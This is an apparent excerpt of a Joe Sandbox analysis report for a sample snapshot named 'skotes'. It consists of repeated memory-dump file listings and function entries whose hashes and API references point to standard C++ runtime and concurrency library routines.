Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: fecf66c55a675402d24d3eaf518f3c84dcd0d25a2d8c0ce1137a6953758d571b
Instruction ID: 54110161e61e9615789dc801f07e7107e908e6b6857410d15129bc0a1d545252
Opcode Fuzzy Hash: fecf66c55a675402d24d3eaf518f3c84dcd0d25a2d8c0ce1137a6953758d571b
Instruction Fuzzy Hash: 3BC1D2709043849FDF24DFA6C945BAFBBF4EF15310F0045ADE41697682EB35A909CBA2

Function 00BF44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BF4538
ListArray.LIBCONCRT ref: 00BF456C
Hash.LIBCMT ref: 00BF45D5
Hash.LIBCMT ref: 00BF45E5

Part of subcall function 00BF9C41: std::bad_exception::bad_exception.LIBCMT ref: 00BF9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00BF474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BF47A4

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 3018eac3c1c55f5016fe9d1f6b4e8742d4fa8bce05509464274673577a7656a5
Instruction ID: 1a8a4e6f7970cffb179db122a40846321ac665cd406816caf069e4f44163378a
Opcode Fuzzy Hash: 3018eac3c1c55f5016fe9d1f6b4e8742d4fa8bce05509464274673577a7656a5
Instruction Fuzzy Hash: F08172B0A11A56BAD718EF758445BEAFBE8BF09700F10025AF52897281DBB4A524CBD1

Function 00BEECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BEECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00BEED17

Part of subcall function 00BEF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00BEF3FA

__alloca_probe_16.LIBCMT ref: 00BEED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00BEED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00BEEDC6
__freea.LIBCMT ref: 00BEEDEC

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: d9bb44c32140f3f79d2b24d5d3019494d0feef5c8bc7af3113320fddeac7fc66
Instruction ID: 8ebc27aac1b92226aea24fecfbdc2420eb0fcfd464e30f211ca07220f2c18a4a
Opcode Fuzzy Hash: d9bb44c32140f3f79d2b24d5d3019494d0feef5c8bc7af3113320fddeac7fc66
Instruction Fuzzy Hash: C7319071A001468BCB14DFA9C8416ADB7F4EF49310F2481BAE465F7351DB74DE02CBA4

Function 00BEEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00BEEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00BEEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00BEEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00BEEF0F
Concurrency::Context::Block.LIBCONCRT ref: 00BEEF31

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 6b5473dbc975a71ab4095bfe1f6e8805745a141b8efd8389d5c35efcee9544d0
Instruction ID: 263c26151e0497e3e81ecb8502d0a023b76867796e80f826fa81a92d51d17dc2
Opcode Fuzzy Hash: 6b5473dbc975a71ab4095bfe1f6e8805745a141b8efd8389d5c35efcee9544d0
Instruction Fuzzy Hash: 1A218170C10299CAEF24EFA5C8456EEB7F0FF14321F2009AEE161A61D1E7B1DA44CB95

Function 00C01B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00C01B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C01B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C01C2A

Strings

pContext, xrefs: 00C01C22
switchState, xrefs: 00C01B5E

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: b6865b66e864a21e97aa2864955645788825d225e5a0b1f4e3329ada4171ef12
